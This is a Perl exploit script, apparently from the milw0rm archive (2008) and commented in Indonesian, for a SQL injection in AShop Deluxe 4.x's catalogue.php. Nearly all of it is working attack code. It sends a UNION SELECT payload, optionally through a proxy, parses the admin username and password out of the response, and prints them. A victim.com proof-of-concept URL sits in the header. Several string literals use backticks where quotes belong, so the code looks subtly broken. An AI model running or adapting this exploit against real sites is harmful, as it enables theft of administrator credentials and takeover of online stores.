AShop Deluxe 4.x (catalogue.php cat) Remote SQL Injection Exploit#usr/bin/perl
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Long;
use URI::Escape;
#--------------------------------------------------------------------------------------------------------------------------------------------------------
# [x] AShop Deluxe 4.x Remote SQL inJection Exploit
# [x] Ditemukan Oleh		: n0c0py - a.k.a 5iR. 4b03D
# [x] Pada Tanggal		: 27 juni 2008
# [x] Vendor			: http://www.ashopsoftware.com
# [x] Laporkan pada vendor	: 28 Juni 2008 - PatCh ada pada veNdoR
# [x] Dork                  	: -
# [x] Deskripsi			: AShop Deluxe shopping cart software automates the processing of
#				  online orders and payments. It is a shopping cart plus an array of
#				  specialized tools to support various types of products and selling styles. 
#				  The system automates redundant tasks, organizes data, and simplifies 
#				  the daily operations of an online store. 
#--------------------------------------------------------------------------------------------------------------------------------------------------------
#
# ===============================================================================================================#
# Konsep =>
# => http://victim.com/ashop/catalogue.php?cat=-99/**/union/**/select/**/1,0x76756C6E657261626C65/*
# => Versi dibawahnya juga memungkinkan memiliki kutu yang sama
# => password tidak ter-encode membuat eksploitasi semakin mudah
# [Catatan]
# n0c0py tidak bertanggung jawab atas penyalahgunaan exploit ini. Greetz:
# { k1tk4t, Autonux, keboaja, k0il, G1 }
# yogyafree => yadoy666, Xshadow, Jack, odod, ray16, indounderground, shadow angel dan segenap Tim
# newhack => fl3xu5, opt1|c, L4in
# masyarakat hacking indonesia [ yogyafree.net | newhack.org | mainhack.com | echo.or.id | kecoak-elektronik.net ]
# ================================================================================================================#
 if (@ARGV < 1){
   
   print`\nAshop Deluxe 4.x (catalogue.php)`;
   print`\nRemote SQL Injection Exploit       `;
   print`\ncoded by n0c0py                   `;
   print`\n`;
   print`\n[!] Penggunaan : perl $0 [Host] [Path] <Options>`;
   print`\n[!] Contoh     : perl $0 127.0.0.1 /ashop       `;
   print`\n[!] Pilihan    :`;
   print`\n                -p [ip:port]  Proxy support     `;
   print`\n`;
exit;
}

print `[+] melakukan eksploitasi...\n`;

eksploitasi();

print `\n[+] Bravo!! :D`;
print `\n[+] Eksploitasi Selesai Boss!! :D\n`;

sub eksploitasi

{
  my $host    	= $ARGV[0];
  my $path    	= $ARGV[1];
  my %options = ();
  GetOptions(\%options, `p=s`);
  my $url = `http://`.$host.$path.`/catalogue.php`;
  my $sploit = `?cat=-99/**/union/**/select/**/1,concat(0x3a3a3a,username,0x3a3a,password,0x3a3a3a)/**/from/**/user/*`;
  my $exploit= $url.$sploit;
  my $ua = LWP::UserAgent->new();
  my $res = ``;
  my $content=``;
  my $regex = ``;
  if($options{`p`})
  {
    $ua->proxy('http', `http://`.$options{`p`});
  }
#[------------------------------]
#   Apakah file eksis?
#[------------------------------]
$res = $ua->get($url);
  if(!$res->is_success)
  {
    print(`[+] Gagal! file tidak ditemukan!\n`);
    print $res->status_line();
  }
#[-------------------------]
#      Eksploitasi
#[-------------------------]
  $res = $ua->get($exploit);
  $content = $res->content;
if ($content =~ /:::(.+):::/)
{
$regex=$1;
($pengguna,$password)= split('::',$regex);
printf ` [x]nama admin = $pengguna \n [x]password admin = $password\n`;
}
else { die `Gagal mengeksploitasi :p \n`;
}

}

# milw0rm.com [2008-06-30]